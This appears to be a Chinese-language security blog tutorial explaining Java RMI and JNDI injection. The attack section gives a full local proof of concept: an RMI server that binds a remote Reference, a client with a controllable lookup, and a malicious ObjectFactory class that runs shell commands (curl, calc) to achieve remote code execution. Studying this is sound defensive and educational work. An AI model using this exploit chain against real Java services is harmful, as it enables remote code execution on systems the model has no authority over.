0x01.java RMI
RMI(Remote Method Invocation)是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法並提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法。
RMI依賴的通信協議為JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),該協議為Java定制,要求服務端與客戶端都為Java編寫。
這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。在RMI中對象是通過序列化方式進行編碼傳輸的。
如上圖所示,在JVM之間通信時,客戶端要調用遠程服務器上的對象時,並不是直接將遠程對象拷貝到本地,而是通過傳遞一個stub。
其中stub就包含了遠程服務器的地址和端口等信息,可以看作是遠程對象的引用,客戶端可以通過調用stub中的方法來對遠程對象進行使用,也就是上圖所說的邏輯上的調用,而非直接調用,即真實的數據是從客戶端到服務端遠程對象的stub(存根)到服務器的skeleton(骨架)之間的socket通信。
實際上client並不知道遠程服務器的通信地址和端口,但是服務器對象存根(stub)中有這些信息,那么客戶端只要拿到stub,通過調用stub上的方法,然后stub再連接到遠程服務器的具體端口,服務器執行client所請求的具體方法,再講運行結果返回給stub,stub再將結果返回給client,此時client表面上看起來即為在本地執行了遠程服務器上指定對象的方法,而這個執行過程對client實際上是透明的。
至於如何獲取stub,常見方法為通過RMI注冊表(RMIRegistry)來解決這個問題,RMIRegistry也為遠程對象,此時監聽在1099端口,注冊遠程對象需要RMI URL 和一個遠程對象的引用(實際上就是一個路由對應着一個遠程服務器上類的實例化對象)。而此時客戶端首先可以通過RMI注冊表查詢到遠程對象的名稱,先獲取stub,然后來調用該stub來調用遠程對象所屬類中的方法。
比如如下例子:
遠程服務端:
IHello rhello = new HelloImpl(); LocateRegistry.createRegistry(1099); Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
此時遠程服務端RMI注冊表監聽1099端口,並設置RMI URL和對應該URL的類對象
客戶端:
Registry registry = LocateRegistry.getRegistry("遠程服務器地址",1099); IHello rhello = (IHello) registry.lookup("hello"); rhello.sayHello("test");
此時客戶端訪問遠程服務器RMI注冊表,得到該RMI注冊表的對象,此時再訪問其中URL中的hello,即可以獲得服務器端綁定到hello的類的對象,此時就可以進行調用sayHello方法,其中方法是在服務端執行的,服務端執行結束將返回結果返回給客戶端,即在整個流程客戶端也就完成了對遠程服務器上的對象的使用。
動態加載類:
這點根據我的理解應該是服務端可以將不同的url與類寫到RMI注冊表中,當客戶端的jvm想要調用某個類時,可以根據服務端傳遞過來的url去遠程下載類對應的class文件到本地來進行調用。
2.JNDI注入
jndi介紹:
第一部分已經說過我們可以通過url和對象寫到rmi注冊表中,此時客戶端可以通過url來對遠程對象進行加載,而jndi為java服務和目錄接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口,JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互,所以我們可以通過jdni來訪問遠程的url來獲取我們需要的服務,那么如果服務端將對象注冊到RMI注冊表中,我們即可以通過jndi來對此對象進行訪問。每一個對象都有鍵值對,與名字和對象進行綁定,可以通過名字來對對象進行訪問,對象可能存儲在rmi、ldap中。
java可以將對象存儲在naming或者directory服務下,提供了naming reference功能,其中對象綁定到reference上,存儲在naming或者directory服務下,(rmi,ldap等)。在使用reference的時候,將對象綁定到構造方法中,從而在被調用的時候觸發。
舉個JNDI🌰:
person類(位於遠程服務器上,也就是我們想要調用的類)
package JavaUnser; import java.io.Serializable; import java.rmi.Remote; public class Person implements Remote,Serializable { private static final long serialVersionUID = 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String toString(){ return "name:"+name+" password:"+password; } }
RMI服務端:
package JavaUnser; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.spi.NamingManager; public class test { public static void initPerson() throws Exception{ //配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); ////初始化 InitialContext ctx = new InitialContext(); //實例化person對象 Person p = new Person(); p.setName("hello"); p.setPassword("jndi"); //person對象綁定到JNDI服務中,JNDI的名字叫做:person,即我們可以通過person鍵值,來對Person對象進行索引 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因為前面已經將JNDI工廠和JNDI的url和端口已經添加到System對象中,這里就不用在綁定了 InitialContext ctx = new InitialContext(); //通過lookup查找person對象 Person person = (Person) ctx.lookup("person"); //打印出這個對象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); } }
可以看到,運行服務端程序后將會綁定3001端口
在初始化完上下文context(一組名稱和對象綁定組成的鍵值對)后,此時可以看到defaultinitCtx中已經包含了jndi的環境變量信息,及服務提供者的url和工廠類的信息,也包括了服務器的host地址和已經提供rmi注冊表服務的端口
在findperson中,我們直接可以通過初始化context來通過lookup函數,來對rmi服務進行訪問,從而獲取person對象
這里我們已經知道可以通過lookup函數來加載遠程對象,lookup實際上就要去訪問rmi注冊表去取回我們想要的對象
而getURLOrDefaultInitCtx函數中會根據不同情況來返回ctx,那么如果lookup函數的參數可控,我們可以指定惡意的rmi注冊表地址,讓客戶端加載惡意的對象
JNDI注入的場景有:
rmi、通過jndi reference遠程調用object方法。
CORBA IOR 遠程獲取實現類(Common Object Request Broker Architecture,公共對象請求代理體系結構,通用對象請求代理體系結構 IOR:可互操作對象引用。)
LDAP 通過序列化對象,JNDI Referene,ldap地址
jndi注入的🌰:
客戶端:
client.java
package JavaUnser; import javax.naming.Context; import javax.naming.InitialContext; public class client { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
通過初始化context,然后調用lookup函數來訪問rmi注冊表,嘗試調用遠程對象
server.java
package JavaUnser; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; public class server { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("execObj", "execObj", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper); } }
此時服務端通過reference將遠程對象可以綁定到rmi注冊表中,通過reference,可以將遠程對象放置在其他服務器上,此時攻擊者只要提供惡意的對象供客戶端調用即可實現rce
exec.java
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class exec implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("sssss"); Runtime.getRuntime().exec("curl 127.0.0.1:8081"); Runtime.getRuntime().exec("calc"); return null; } }
此時即可以編譯exec.java得到exec.class字節碼文件,然后將exec.class文件放置在服務器上
本地監聽8081端口,這個端口也就是與工廠地址相吻合的
其中factory即為我們想要從http://127.0.0.1:8081請求的class文件的名稱,然后啟動rmi服務端
此時啟動客戶端對exec.class文件進行加載,此時成功執行
此時成功加載了遠程的class文件,並且rce
總結:
1、lookup參數可控。 2、InitialContext類及他的子類的lookup方法允許動態協議轉換 3、lookup查找的對象是Reference類型及其子類 4、當遠程調用類的時候默認會在rmi服務器中的classpath中查找,如果不存在就會去url地址去加載類。如果都加載不到就會失敗。
1.rmi、通過jndi reference遠程調用object方法 2.LDAP 通過序列化對象,JNDI Referene,ldap地址 3.CORBA IOR 遠程獲取實現類 (通過iiop協議)
參考:
https://www.freebuf.com/column/189835.html
https://xz.aliyun.com/t/4558#toc-0
https://p0sec.net/index.php/archives/121/
https://www.freebuf.com//115849.html
https://blog.csdn.net/u011721501/article/details/52316225